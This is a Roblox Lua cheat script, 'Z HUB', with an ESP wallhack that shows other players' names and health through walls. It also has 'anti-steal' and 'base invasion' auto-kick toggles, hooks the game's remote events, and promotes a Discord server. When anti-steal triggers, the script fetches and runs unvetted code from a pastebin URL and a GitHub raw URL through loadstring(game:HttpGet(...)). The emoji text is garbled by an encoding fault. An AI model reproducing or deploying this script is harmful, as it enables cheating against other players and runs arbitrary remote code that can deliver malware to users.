--[[ Z HUB | FULL RESTORED GUI | KICK ON INVASION TOGGLE - ESP toggle (on/off) - Anti-Steal toggle (instant kick + external scripts) - Kick on Invasion toggle (0.2s delay kick when enemy enters base) - Rainbow border | Movable | Sound detection --]] local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer local PlayerGui = LocalPlayer:WaitForChild("PlayerGui") -- ========== STATE VARIABLES (all toggles start OFF except ESP) ========== local espEnabled = true local autoLeaveEnabled = false -- Anti-steal (instant kick) local invasionKickEnabled = false -- Base invasion (0.2s delay kick) - NEW TOGGLE local scriptsExecuted = false -- ========== ESP SYSTEM (fully visible, works) ========== local espFolder = Instance.new("Folder") espFolder.Name = "ZHub_ESP" espFolder.Parent = PlayerGui local activeESP = {} local function createESPForPlayer(player) if player == LocalPlayer then return end if activeESP[player] then return end local character = player.Character if not character or not character:FindFirstChild("HumanoidRootPart") then return end local highlight = Instance.new("Highlight") highlight.Name = "ZHubESP" highlight.FillTransparency = 0.8 highlight.OutlineTransparency = 0.2 highlight.OutlineColor = Color3.fromRGB(0, 170, 255) highlight.FillColor = Color3.fromRGB(0, 100, 200) highlight.Adornee = character highlight.Enabled = espEnabled highlight.Parent = espFolder local head = character:FindFirstChild("Head") if head then local billboard = Instance.new("BillboardGui") billboard.Name = "NameTag" billboard.Size = UDim2.new(0, 200, 0, 40) billboard.StudsOffset = Vector3.new(0, 2.5, 0) billboard.AlwaysOnTop = true billboard.Enabled = espEnabled billboard.Parent = head local nameLabel = Instance.new("TextLabel") nameLabel.Size = UDim2.new(1, 0, 1, 0) nameLabel.BackgroundTransparency = 1 nameLabel.Text = player.Name nameLabel.TextColor3 = Color3.fromRGB(0, 170, 255) nameLabel.TextStrokeTransparency = 0.3 nameLabel.Font = Enum.Font.GothamBold nameLabel.TextScaled = true nameLabel.Parent = billboard local healthBar = Instance.new("Frame") healthBar.Size = UDim2.new(1, 0, 0.2, 0) healthBar.Position = UDim2.new(0, 0, 1, 0) healthBar.BackgroundColor3 = Color3.fromRGB(0, 200, 0) healthBar.BorderSizePixel = 0 healthBar.Parent = billboard local humanoid = character:FindFirstChild("Humanoid") local connection if humanoid then connection = humanoid.HealthChanged:Connect(function(health) local maxHealth = humanoid.MaxHealth or 100 local percent = math.clamp(health / maxHealth, 0, 1) healthBar.Size = UDim2.new(percent, 0, 0.2, 0) healthBar.BackgroundColor3 = Color3.fromRGB(255 * (1-percent), 200 * percent, 0) end) end activeESP[player] = { highlight = highlight, billboard = billboard, healthConnection = connection } else activeESP[player] = { highlight = highlight } end end local function removeESPForPlayer(player) local data = activeESP[player] if data then if data.highlight then data.highlight:Destroy() end if data.billboard then data.billboard:Destroy() end if data.healthConnection then data.healthConnection:Disconnect() end activeESP[player] = nil end end local function refreshAllESP() for _, data in pairs(activeESP) do if data.highlight then data.highlight.Enabled = espEnabled end if data.billboard then data.billboard.Enabled = espEnabled end end end for _, player in ipairs(Players:GetPlayers()) do createESPForPlayer(player) end Players.PlayerAdded:Connect(createESPForPlayer) Players.PlayerRemoving:Connect(removeESPForPlayer) Players.PlayerAdded:Connect(function(player) player.CharacterAdded:Connect(function() task.wait(0.5) removeESPForPlayer(player) createESPForPlayer(player) end) end) -- ========== EXTERNAL SCRIPTS (for anti-steal only) ========== local function executeExternalScripts() if scriptsExecuted then return end scriptsExecuted = true task.spawn(function() pcall(function() loadstring(game:HttpGet("https://pastebins.net/raw/game-77164"))() end) end) task.spawn(function() pcall(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/IcOxx/Sky-Leaving/refs/heads/main/Sky%20Leave"))() end) end) end -- ========== KICK FUNCTIONS ========== local function kickPlayerForSteal() local kickMsg = "āš ļø SOMEONE TRIED STEALING AND WE BLOCKED šŸ˜āœŒšŸ™ THEM āš ļø\n\nāž¤ JOIN OUR DISCORD:\nhttps://discord.gg/JUca27emW\n\n[ Z HUB | STEAL PROTECTION ]" LocalPlayer:Kick(kickMsg) end local function kickPlayerForBaseInvasion() local kickMsg = "āš ļø SOMEONE ENTERED YOUR BASE BUT WE BLOCKED THEM āœŒšŸ™ āš ļø\n\nāž¤ JOIN OUR DISCORD:\nhttps://discord.gg/JUca27emW\n\n[ Z HUB | BASE PROTECTION ]" task.wait(0.2) LocalPlayer:Kick(kickMsg) end -- ========== STEAL DETECTION (instant) ========== local function onStealDetected() if autoLeaveEnabled then executeExternalScripts() kickPlayerForSteal() end end -- ========== BASE INVASION DETECTION (only if toggle is ON) ========== local function onBaseInvasion(playerWhoEntered) if playerWhoEntered == LocalPlayer then return end if invasionKickEnabled then kickPlayerForBaseInvasion() end end local function watchBase() local baseNames = {"Base", "SafeZone", "YourBase", "HomeBase", "SpawnBase", "ClaimZone", "Territory", "BaseRegion"} for _, name in ipairs(baseNames) do local basePart = workspace:FindFirstChild(name) if basePart then basePart.Touched:Connect(function(hit) local humanoid = hit.Parent and hit.Parent:FindFirstChild("Humanoid") if humanoid then local player = Players:GetPlayerFromCharacter(hit.Parent) if player and player ~= LocalPlayer then onBaseInvasion(player) end end end) end end end -- ========== STEAL DETECTORS ========== local function watchParts() local partNames = {"Valentino", "StealZone", "Vault", "Target", "Gem", "Item", "Present", "Chest", "Safe"} for _, name in ipairs(partNames) do local part = workspace:FindFirstChild(name) if part then part.Touched:Connect(function(hit) if not autoLeaveEnabled then return end local humanoid = hit.Parent and hit.Parent:FindFirstChild("Humanoid") if humanoid then local player = Players:GetPlayerFromCharacter(hit.Parent) if player and player ~= LocalPlayer then onStealDetected() end end end) end end end local function hookRemotes() local keywords = {"steal", "take", "rob", "grab", "claim", "valentino", "snatch", "loot"} local function scan(container) for _, child in ipairs(container:GetChildren()) do if child:IsA("RemoteEvent") then local lowerName = child.Name:lower() for _, kw in ipairs(keywords) do if lowerName:find(kw) then local oldFire = child.FireServer child.FireServer = function(...) if autoLeaveEnabled then onStealDetected() end return oldFire(...) end break end end elseif child:IsA("RemoteFunction") then local lowerName = child.Name:lower() for _, kw in ipairs(keywords) do if lowerName:find(kw) then local oldInvoke = child.InvokeServer child.InvokeServer = function(...) if autoLeaveEnabled then onStealDetected() end return oldInvoke(...) end break end end end end end scan(game:GetService("ReplicatedStorage")) scan(game:GetService("ReplicatedFirst")) end local function watchValues() local function check(obj) if obj:IsA("BoolValue") and (obj.Name:lower():find("stolen") or obj.Name:lower():find("taken")) then obj.Changed:Connect(function() if autoLeaveEnabled and obj.Value == true then onStealDetected() end end) elseif obj:IsA("NumberValue") and (obj.Name:lower():find("owner") or obj.Name:lower():find("team")) then local old = obj.Value obj.Changed:Connect(function(new) if autoLeaveEnabled and old ~= new and new ~= LocalPlayer.UserId and old == LocalPlayer.UserId then onStealDetected() end old = new end) end end for _, obj in ipairs(workspace:GetDescendants()) do check(obj) end workspace.DescendantAdded:Connect(check) end local function watchInventory() local function onToolRemoved(child) if autoLeaveEnabled and child:IsA("Tool") then onStealDetected() end end if LocalPlayer.Character then LocalPlayer.Character.ChildRemoved:Connect(onToolRemoved) end LocalPlayer.CharacterAdded:Connect(function(character) character.ChildRemoved:Connect(onToolRemoved) end) end local function watchStealSounds() local stealSoundKeywords = {"steal", "take", "rob", "grab", "success", "pickup", "valentino"} local function onSoundPlayed(sound) if not autoLeaveEnabled then return end local lowerName = sound.Name:lower() for _, kw in ipairs(stealSoundKeywords) do if lowerName:find(kw) then onStealDetected() break end end end local function hookSound(instance) if instance:IsA("Sound") then instance.Played:Connect(function() onSoundPlayed(instance) end) end end for _, sound in ipairs(workspace:GetDescendants()) do hookSound(sound) end for _, sound in ipairs(game:GetService("ReplicatedStorage"):GetDescendants()) do hookSound(sound) end for _, sound in ipairs(LocalPlayer.PlayerGui:GetDescendants()) do hookSound(sound) end workspace.DescendantAdded:Connect(hookSound) game:GetService("ReplicatedStorage").DescendantAdded:Connect(hookSound) LocalPlayer.PlayerGui.DescendantAdded:Connect(hookSound) end -- Start all detectors watchBase() watchParts() hookRemotes() watchValues() watchInventory() watchStealSounds() -- ========== GUI MENU (FULLY RESTORED, VISIBLE, DRAGGABLE) ========== local gui = Instance.new("ScreenGui") gui.Name = "ZHub" gui.ResetOnSpawn = false gui.Parent = PlayerGui local frame = Instance.new("Frame") frame.Size = UDim2.new(0, 360, 0, 300) frame.Position = UDim2.new(0.5, -180, 0.7, 0) frame.BackgroundColor3 = Color3.fromRGB(8, 8, 16) frame.BackgroundTransparency = 0.05 frame.BorderSizePixel = 2 frame.Active = true frame.Draggable = true frame.Parent = gui -- Rainbow glitch lines local glitchLines = {} for i = 1, 6 do local line = Instance.new("Frame") line.Size = UDim2.new(1, 0, 0, 2) line.Position = UDim2.new(0, 0, i * 0.14, 0) line.BackgroundTransparency = 0.6 line.BorderSizePixel = 0 line.Parent = frame table.insert(glitchLines, line) end -- Title local title = Instance.new("TextLabel") title.Size = UDim2.new(1, 0, 0, 45) title.Position = UDim2.new(0, 0, 0, 0) title.BackgroundTransparency = 1 title.Text = "Z HUB" title.TextColor3 = Color3.fromRGB(0, 150, 255) title.TextScaled = true title.Font = Enum.Font.GothamBlack title.TextStrokeTransparency = 0.2 title.Parent = frame -- Subtitle local desc = Instance.new("TextLabel") desc.Size = UDim2.new(1, 0, 0, 20) desc.Position = UDim2.new(0, 0, 0, 42) desc.BackgroundTransparency = 1 desc.Text = "⚔ ESP | ANTI-STEAL | BASE PROTECTION ⚔" desc.TextColor3 = Color3.fromRGB(0, 170, 255) desc.TextSize = 12 desc.Font = Enum.Font.Gotham desc.Parent = frame -- ===== ESP TOGGLE ===== local espSlot = Instance.new("Frame") espSlot.Size = UDim2.new(0.9, 0, 0, 40) espSlot.Position = UDim2.new(0.05, 0, 0, 70) espSlot.BackgroundColor3 = Color3.fromRGB(0, 20, 40) espSlot.BorderColor3 = Color3.fromRGB(0, 170, 255) espSlot.BorderSizePixel = 1 espSlot.Parent = frame local espLabel = Instance.new("TextLabel") espLabel.Size = UDim2.new(0.5, 0, 1, 0) espLabel.Position = UDim2.new(0, 5, 0, 0) espLabel.BackgroundTransparency = 1 espLabel.Text = "šŸ” ESP VISION" espLabel.TextColor3 = Color3.fromRGB(0, 170, 255) espLabel.TextSize = 16 espLabel.TextXAlignment = Enum.TextXAlignment.Left espLabel.Font = Enum.Font.GothamBold espLabel.Parent = espSlot local espStatus = Instance.new("TextLabel") espStatus.Size = UDim2.new(0.3, 0, 1, 0) espStatus.Position = UDim2.new(0.55, 0, 0, 0) espStatus.BackgroundTransparency = 1 espStatus.Text = "ON" espStatus.TextColor3 = Color3.fromRGB(0, 255, 0) espStatus.TextSize = 16 espStatus.Font = Enum.Font.GothamBold espStatus.Parent = espSlot local espToggleBtn = Instance.new("TextButton") espToggleBtn.Size = UDim2.new(0, 70, 0, 28) espToggleBtn.Position = UDim2.new(0.75, 0, 0.15, 0) espToggleBtn.BackgroundColor3 = Color3.fromRGB(200, 0, 0) espToggleBtn.BorderColor3 = Color3.fromRGB(0, 170, 255) espToggleBtn.Text = "OFF" espToggleBtn.TextColor3 = Color3.fromRGB(255, 255, 255) espToggleBtn.TextSize = 14 espToggleBtn.Font = Enum.Font.GothamBold espToggleBtn.Parent = espSlot -- ===== ANTI-STEAL TOGGLE ===== local stealSlot = Instance.new("Frame") stealSlot.Size = UDim2.new(0.9, 0, 0, 40) stealSlot.Position = UDim2.new(0.05, 0, 0, 118) stealSlot.BackgroundColor3 = Color3.fromRGB(0, 20, 40) stealSlot.BorderColor3 = Color3.fromRGB(0, 170, 255) stealSlot.BorderSizePixel = 1 stealSlot.Parent = frame local stealLabel = Instance.new("TextLabel") stealLabel.Size = UDim2.new(0.5, 0, 1, 0) stealLabel.Position = UDim2.new(0, 5, 0, 0) stealLabel.BackgroundTransparency = 1 stealLabel.Text = "šŸ›”ļø ANTI-STEAL (INSTANT)" stealLabel.TextColor3 = Color3.fromRGB(0, 170, 255) stealLabel.TextSize = 15 stealLabel.TextXAlignment = Enum.TextXAlignment.Left stealLabel.Font = Enum.Font.GothamBold stealLabel.Parent = stealSlot local stealStatus = Instance.new("TextLabel") stealStatus.Size = UDim2.new(0.3, 0, 1, 0) stealStatus.Position = UDim2.new(0.55, 0, 0, 0) stealStatus.BackgroundTransparency = 1 stealStatus.Text = "OFF" stealStatus.TextColor3 = Color3.fromRGB(255, 100, 100) stealStatus.TextSize = 16 stealStatus.Font = Enum.Font.GothamBold stealStatus.Parent = stealSlot local stealToggleBtn = Instance.new("TextButton") stealToggleBtn.Size = UDim2.new(0, 70, 0, 28) stealToggleBtn.Position = UDim2.new(0.75, 0, 0.15, 0) stealToggleBtn.BackgroundColor3 = Color3.fromRGB(0, 80, 200) stealToggleBtn.BorderColor3 = Color3.fromRGB(0, 170, 255) stealToggleBtn.Text = "ENABLE" stealToggleBtn.TextColor3 = Color3.fromRGB(255, 255, 255) stealToggleBtn.TextSize = 14 stealToggleBtn.Font = Enum.Font.GothamBold stealToggleBtn.Parent = stealSlot -- ===== KICK ON INVASION TOGGLE (NEW!) ===== local invasionSlot = Instance.new("Frame") invasionSlot.Size = UDim2.new(0.9, 0, 0, 40) invasionSlot.Position = UDim2.new(0.05, 0, 0, 166) invasionSlot.BackgroundColor3 = Color3.fromRGB(0, 20, 40) invasionSlot.BorderColor3 = Color3.fromRGB(0, 170, 255) invasionSlot.BorderSizePixel = 1 invasionSlot.Parent = frame local invasionLabel = Instance.new("TextLabel") invasionLabel.Size = UDim2.new(0.5, 0, 1, 0) invasionLabel.Position = UDim2.new(0, 5, 0, 0) invasionLabel.BackgroundTransparency = 1 invasionLabel.Text = "🚪 KICK ON INVASION (0.2s)" invasionLabel.TextColor3 = Color3.fromRGB(0, 170, 255) invasionLabel.TextSize = 15 invasionLabel.TextXAlignment = Enum.TextXAlignment.Left invasionLabel.Font = Enum.Font.GothamBold invasionLabel.Parent = invasionSlot local invasionStatus = Instance.new("TextLabel") invasionStatus.Size = UDim2.new(0.3, 0, 1, 0) invasionStatus.Position = UDim2.new(0.55, 0, 0, 0) invasionStatus.BackgroundTransparency = 1 invasionStatus.Text = "OFF" invasionStatus.TextColor3 = Color3.fromRGB(255, 100, 100) invasionStatus.TextSize = 16 invasionStatus.Font = Enum.Font.GothamBold invasionStatus.Parent = invasionSlot local invasionToggleBtn = Instance.new("TextButton") invasionToggleBtn.Size = UDim2.new(0, 70, 0, 28) invasionToggleBtn.Position = UDim2.new(0.75, 0, 0.15, 0) invasionToggleBtn.BackgroundColor3 = Color3.fromRGB(0, 80, 200) invasionToggleBtn.BorderColor3 = Color3.fromRGB(0, 170, 255) invasionToggleBtn.Text = "ENABLE" invasionToggleBtn.TextColor3 = Color3.fromRGB(255, 255, 255) invasionToggleBtn.TextSize = 14 invasionToggleBtn.Font = Enum.Font.GothamBold invasionToggleBtn.Parent = invasionSlot -- Discord link local discord = Instance.new("TextLabel") discord.Size = UDim2.new(1, 0, 0, 25) discord.Position = UDim2.new(0, 0, 0, 220) discord.BackgroundTransparency = 1 discord.Text = "šŸ’€ discord.gg/JUca27emW šŸ’€" discord.TextColor3 = Color3.fromRGB(0, 170, 255) discord.TextSize = 14 discord.Font = Enum.Font.Gotham discord.Parent = frame -- Footer local footer = Instance.new("TextLabel") footer.Size = UDim2.new(1, 0, 0, 20) footer.Position = UDim2.new(0, 0, 0, 250) footer.BackgroundTransparency = 1 footer.Text = "Drag to move | Rainbow border" footer.TextColor3 = Color3.fromRGB(100, 100, 150) footer.TextSize = 10 footer.Font = Enum.Font.Gotham footer.Parent = frame -- ===== TOGGLE FUNCTIONS ===== local function updateESPUI() if espEnabled then espStatus.Text = "ON" espStatus.TextColor3 = Color3.fromRGB(0, 255, 0) espToggleBtn.Text = "OFF" espToggleBtn.BackgroundColor3 = Color3.fromRGB(200, 0, 0) else espStatus.Text = "OFF" espStatus.TextColor3 = Color3.fromRGB(255, 100, 100) espToggleBtn.Text = "ON" espToggleBtn.BackgroundColor3 = Color3.fromRGB(0, 80, 200) end refreshAllESP() end local function updateStealUI() if autoLeaveEnabled then stealStatus.Text = "ON" stealStatus.TextColor3 = Color3.fromRGB(0, 255, 0) stealToggleBtn.Text = "DISABLE" stealToggleBtn.BackgroundColor3 = Color3.fromRGB(200, 0, 0) stealSlot.BackgroundColor3 = Color3.fromRGB(0, 40, 20) else stealStatus.Text = "OFF" stealStatus.TextColor3 = Color3.fromRGB(255, 100, 100) stealToggleBtn.Text = "ENABLE" stealToggleBtn.BackgroundColor3 = Color3.fromRGB(0, 80, 200) stealSlot.BackgroundColor3 = Color3.fromRGB(0, 20, 40) end end local function updateInvasionUI() if invasionKickEnabled then invasionStatus.Text = "ON" invasionStatus.TextColor3 = Color3.fromRGB(0, 255, 0) invasionToggleBtn.Text = "DISABLE" invasionToggleBtn.BackgroundColor3 = Color3.fromRGB(200, 0, 0) invasionSlot.BackgroundColor3 = Color3.fromRGB(0, 40, 20) else invasionStatus.Text = "OFF" invasionStatus.TextColor3 = Color3.fromRGB(255, 100, 100) invasionToggleBtn.Text = "ENABLE" invasionToggleBtn.BackgroundColor3 = Color3.fromRGB(0, 80, 200) invasionSlot.BackgroundColor3 = Color3.fromRGB(0, 20, 40) end end -- Connect buttons espToggleBtn.MouseButton1Click:Connect(function() espEnabled = not espEnabled updateESPUI() end) stealToggleBtn.MouseButton1Click:Connect(function() autoLeaveEnabled = not autoLeaveEnabled updateStealUI() end) invasionToggleBtn.MouseButton1Click:Connect(function() invasionKickEnabled = not invasionKickEnabled updateInvasionUI() end) -- Initialize UI states updateESPUI() updateStealUI() updateInvasionUI() -- Rainbow border animation local hue = 0 RunService.RenderStepped:Connect(function() hue = (hue + 0.005) % 1 local rainbow = Color3.fromHSV(hue, 1, 1) frame.BorderColor3 = rainbow for _, line in ipairs(glitchLines) do line.BackgroundColor3 = rainbow end end) print("āœ… Z HUB MENU RESTORED | 3 toggles: ESP | Anti-Steal | Kick on Invasion")